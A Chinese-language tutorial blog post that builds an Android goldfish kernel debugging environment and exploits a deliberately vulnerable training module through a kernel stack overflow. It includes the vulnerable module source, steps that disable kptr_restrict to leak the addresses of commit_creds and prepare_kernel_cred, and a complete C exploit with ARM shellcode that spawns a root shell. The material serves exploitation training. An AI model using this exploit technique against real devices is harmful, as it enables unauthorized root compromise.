標籤:核心 arm-linux lease apple src bin 下載jdk target 函數
前言
Android的核心採用的是 Linux 核心,所以在Android核心中進行漏洞利用其實和在 一般的 x86平台下的 linux 核心中進行利用差不多。主要區別在於 Android 下使用的是arm彙編以及環境的搭建方面。本文對我最近的實踐做一個分享,其實很簡單。
核心調試環境搭建
搭建平台: ubuntu 16.04
這裡使用 android 模擬器來進行核心調試。首先下載核心代碼
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
然後下載 github 上的一個安卓漏洞利用的項目,
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
然後使用項目中的 patch 檔案把 patch 核心編譯配置,來把項目中的帶漏洞的模組編譯進 linux 核心
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
這裡注意: goldfish 目錄和 kernel_exploit_challenges 目錄要在同一目錄下
然後下載 arm-linux-androideabi-4.6 交叉編譯工具鏈 。下載完成後把它解壓後,然後把它加到環境變數中
tar xvf arm-linux-androideabi-4.6.tar.bz2 export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH
然後進入 goldfish 目錄,開始編譯
make goldfish_armv7_defconfig && make -j8
編譯完成後,就會有兩個主要的檔案:goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage。前面那個用於在調試時 gdb 載入,後面的用於在安卓模擬器啟動時載入。
下面下載 安卓 sdk , 用來下載和運行 安卓模擬器。
sdk : http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
然後把sdk 解壓
tar xvf android-sdk_r24.4.1-linux.tgz
把 android-sdk-linux/tools 加入環境變數,把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目錄改成你的目錄>
export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH
然後重新開啟一個shell, 使用下面的命令 <要先下載jdk ,並且設定好環境變數>
android
然後把下面標註的兩個下載下來
來
下載完後。首先查看下載的鏡像檔案
$android list targetsAvailable Android targets:----------id: 1 or "android-19" Name: Android 4.4.2 Type: Platform API level: 19 Revision: 4 Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in
然後建立 模擬器
android create avd --force -t "android-19" -n kernel_challenges
然後進入 goldfish 目錄,使用下面的命令來使用我們的核心來運行模擬器,並在 1234 連接埠起一個 gdbserver 來方便進行 核心調試
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
第一次運行有類似的結果:
$ emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -sWARNING: userdata image already in use, changes will not persist!Creating filesystem with parameters: Size: 576716800 Block size: 4096 Blocks per group: 32768 Inodes per group: 7040 Inode size: 256 Journal blocks: 2200 Label: Blocks: 140800 Block groups: 5 Reserved block group size: 39Created filesystem with 11/35200 inodes and 4536/140800 blocksWARNING: cache image already in use, changes will not persist!Creating filesystem with parameters: Size: 69206016 Block size: 4096 Blocks per group: 32768 Inodes per group: 4224 Inode size: 256 Journal blocks: 1024 Label: Blocks: 16896 Block groups: 1 Reserved block group size: 7Created filesystem with 11/4224 inodes and 1302/16896 blocks..................................................................
為了便於後面的操作我們需要把 交叉編譯工具鏈 添加到環境變數裡。把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目錄改成你的目錄>
exportPATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH
然後重新開個 shell, 進入到 goldfish 目錄,載入 vmlinux 以便調試核心
arm-linux-androideabi-gdb vmlinux
如果一切正常,應該可以得到下面的類似輸出
GNU gdb (GDB) 7.3.1-gg2Copyright (C) 2011 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "--host=x86_64-apple-darwin --target=arm-linux-android".For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>...Reading symbols from <REDACTED>/goldfish/vmlinux...done.(gdb)
然後串連 模擬器裡面的 調試連接埠
(gdb) target remote :1234Remote debugging using :1234cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:7474movpc, lr(gdb)
如果能看到這樣的輸出說明已經可以正常進行核心調試了。
核心棧溢出漏洞利用
首先看看漏洞代碼, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/proc_fs.h>#include <linux/string.h>#include <asm/uaccess.h>#define MAX_LENGTH 64MODULE_LICENSE("GPL");MODULE_AUTHOR("Ryan Welton");MODULE_DESCRIPTION("Stack Buffer Overflow Example");static struct proc_dir_entry *stack_buffer_proc_entry;int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data){ char buf[MAX_LENGTH]; if (copy_from_user(&buf, ubuf, count)) { printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n"); return -EFAULT; } return count;}static int __init stack_buffer_proc_init(void){ stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL); stack_buffer_proc_entry->write_proc = proc_entry_write; printk(KERN_INFO "created /proc/stack_buffer_overflow\n"); return 0;}static void __exit stack_buffer_proc_exit(void){ if (stack_buffer_proc_entry) { remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry); } printk(KERN_INFO "vuln_stack_proc_entry removed\n");}module_init(stack_buffer_proc_init);module_exit(stack_buffer_proc_exit);
上述代碼會建立 /proc/stack_buffer_overflow 裝置檔案 ,當向該裝置檔案調用 write 系統調用時會調用 proc_entry_write 函數進行處理。
漏洞顯而易見,在 proc_entry_write 函數中 定義了一個 64 位元組大小的棧緩衝區buf, 然後使用 copy_from_user(&buf, ubuf, count) 從使用者空間 拷貝資料到 buf,資料大小和內容均使用者可控。於是當我們輸入超過64位元組時我們能夠覆蓋其他的資料,比如返回地址等,進而劫持程式執行流到我們的 shellcode 中 進行提權。
首先我們來試試觸發漏洞。先把模擬器開啟,然後 adb shell 進入模擬器,使用 echo 命令向 /proc/stack_buffer_overflow 裝置輸入72位元組的資料。
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
可以看到 pc 寄存器的值 為 0x41414141 成功劫持。測試時該核心沒開 pxn ,所以我們可以在使用者態編寫shellcode讓核心去執行。提取的方式很簡單,核心態調用 commit_creds(prepare_kernel_cred(0)); 提升許可權為 root, 然後返回 使用者態 執行 execl("/system/bin/sh", "sh", NULL); 起一個 root 許可權的 shell, 完成提權。
下面先擷取 prepare_kernel_cred 和 commit_creds 函數的地址。在 /proc/kallsyms 檔案中儲存著所有的核心符號的名稱和它在記憶體中的位置。
不過在最近的核心版本中,為了使利用核心漏洞變得更加困難,linux 核心目前禁止一般使用者擷取符號。具體可以看這裡。
當啟用 kptr_restrict是我們不能擷取核心符號地址的。
[email protected]:/ # cat /proc/kallsyms | grep commit_creds 00000000 T commit_creds
在本文中,把它禁用掉,不管他。
[email protected]:/ # echo 0 > /proc/sys/kernel/kptr_restrict [email protected]:/ # cat /proc/kallsyms | grep commit_creds c0039834 T commit_creds[email protected]:/ # cat /proc/kallsyms | grep prepare_kernel_cred c0039d34 T prepare_kernel_cred
禁用掉之後,我們就可以通過 /proc/kallsyms 擷取 commit_creds 和 prepare_kernel_cred的地址。
至此,提權的問題解決了,下面就是要回到使用者態,在x86平台有 iret指令可以回到使用者態,在arm下返回使用者態就更簡單了。在arm下 cpsr 寄存器的 M[4:0] 位用來表示 處理器的運行模式,具體可以看這個。
所以我們把 cpsr 寄存器的 M[4:0] 位設定為 10000 後就表示 處理器進入了使用者模式。
所以現在的利用思路是:
調用 commit_creds(prepare_kernel_cred(0)) 提升許可權
調用 mov r3, #0x40000010; MSR CPSR_c,R3;設定 cpsr寄存器,使cpu進入使用者模式
然後執行 execl("/system/bin/sh", "sh", NULL); 起一個 root 許可權的 shell
最後的 exp :
#include <stdio.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/mman.h>#define MAX 64int open_file(void){ int fd = open("/proc/stack_buffer_overflow", O_RDWR); if (fd == -1) err(1, "open"); return fd;}void payload(void){ printf("[+] enjoy the shell\n"); execl("/system/bin/sh", "sh", NULL);}extern uint32_t shellCode[];asm(" .text\n"" .align 2\n"" .code 32\n"" .globl shellCode\n\t""shellCode:\n\t"// commit_creds(prepare_kernel_cred(0));// -> get root"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr"MOV R0, #0\n\t""BLX R3\n\t""LDR R3, =0xc0039834\n\t" //commit_creds addr"BLX R3\n\t""mov r3, #0x40000010\n\t""MSR CPSR_c,R3\n\t""LDR R3, =0x879c\n\t" // payload function addr"BLX R3\n\t");void trigger_vuln(int fd){ #define MAX_PAYLOAD (MAX + 2 * sizeof(void*) ) char buf[MAX_PAYLOAD]; memset(buf, ‘A‘, sizeof(buf)); void * pc = buf + MAX + 1 * sizeof(void*); printf("shellcdoe addr: %p\n", shellCode); printf("payload:%p\n", payload); *(void **)pc = (void *) shellCode; //ret addr /* Kaboom! */ write(fd, buf, sizeof(buf) );}int main(void){ int fd; fd = open_file(); trigger_vuln(fd); payload(); close(fd);}
參考連結
http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.htmlhttp://blog.sina.com.cn/s/blog_6ac051b2010123cz.htmlhttp://bobao.360.cn/learning/detail/3702.htmlhttps://github.com/Fuzion24/AndroidKernelExploitationPlayground
Android核心漏洞利用技術實戰:環境搭建&棧溢出實戰